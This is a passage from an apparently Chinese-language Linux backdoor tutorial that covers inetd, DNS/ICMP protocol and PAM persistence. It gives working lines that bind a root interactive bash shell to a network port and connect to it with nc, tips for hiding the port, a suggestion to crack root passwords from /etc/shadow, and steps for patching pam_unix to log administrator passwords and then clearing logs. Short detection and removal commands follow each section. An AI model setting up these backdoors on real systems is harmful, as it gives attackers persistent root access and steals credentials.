6.inetd服务后门
inetd
是一个监听外部网络请求
(
就是一个
socket)
的系统守护进程,默认情况下为
13
端口。当
inetd
接收到 一个外部请求后,它会根据这个请求到自己的配置文件中去找到实际处理它的程序,然后再把接收到的 这个socket
交给那个程序去处理。所以,如果我们已经在目标系统的
inetd
配置文件中配置好,那么来自 外部的某个socket
是要执行一个可交互的
shell
,就获取了一个后门。
![54](54.png)![54](54.png)#修改/etc/inetd.conf
$vim /etc/inetd.conf
#discard stream tcp nowait root internal
#discard dgram udp wait root internal
daytime stream tcp nowait root /bin/bash bash -i
#开启inetd
inetd
#nc连接
nc -vv 192.168.2.11 13
修改默认端口
/etc/services
woot 6666/tcp #evil backdoor service
然后修改/etc/inetd.conf :
woot stream tcp nowait root /bin/bash bash -i
我们可以修改成一些常见的端口,以实现隐藏。
其实 /etc/shadow文件,爆破root的密码才最保险啊
检测:查看配置文件即可
cat /etc/inetd.conf
7..协议后门
在一些访问控制做的比较严格的环境中,由内到外的
TCP
流量会被阻断掉。但是对于
UDP(DNS
、
ICMP) 相关流量通常不会拦截。
ICMP
主要原理就是利用
ICMP
中可控的
data
字段进行数据传输
DNS
在大多数的网络里环境中
IPS/IDS
或者硬件防火墙都不会监控和过滤
DNS
流量。主要原理就是将后门载荷 隐藏在拥有PTR
记录和
A
记录的
DNS
域中(也可以利用
AAAA
记录和
IPv6
地址传输后门)。
协议后门检测:对于
DNS/ICMP
这种协议后门,直接查看网络连接即可,因为在使用过程中会产生大量 的网络连接
清除:
kill
进程、删除文件即可
8.PAM后门
PAM
使用配置
/etc/pam.d/
下的文件来管理认证方式,应用程序调用相应的配置文件,以加载动态库的 形式调用 /lib/security
下的模块。
PAM
配置可分为四个参数
:
模块类型、控制标记、模块路径、模块参数,例如
: session required
pam_selinux.so open
上面提到的
sshd
软链接后门利用的
PAM
机制达到任意密码登录,还有一种方式是键盘记录。原理主要是通过 pam_unix_auth.c
打补丁的方式潜入到正常的
pam
模块中,以此来记录管理员的帐号密码。
利用步骤:复制
patch
到源代码目录
>>>
打
patch >>>
编译
>>>
将生成的
pam_uninx.so
文件覆盖 到/lib/secruity/pam_unix.so
下
>>>
修改文件属性
>>>
建立密码保存文件,并设置好相关的权限
>>>
清理日志 >>> ok
#确保ssh开启pam支持
vim /etc/ssh/sshd_config
UsePAM yes
#自动化脚本
https://github.com/litsand/shell/blob/master/pam.sh
检测:
1、通过Strace跟踪ssh
ps axu | grep sshd
strace -o aa -ff -p PID
grep open aa* | grep -v -e No -e null -e denied| grep WR
2、检查pam_unix.so的修改时间
stat /lib/security/pam_unix.so #32位
stat /lib64/security/pam_unix.so #64位
清除:
yum reinstall pam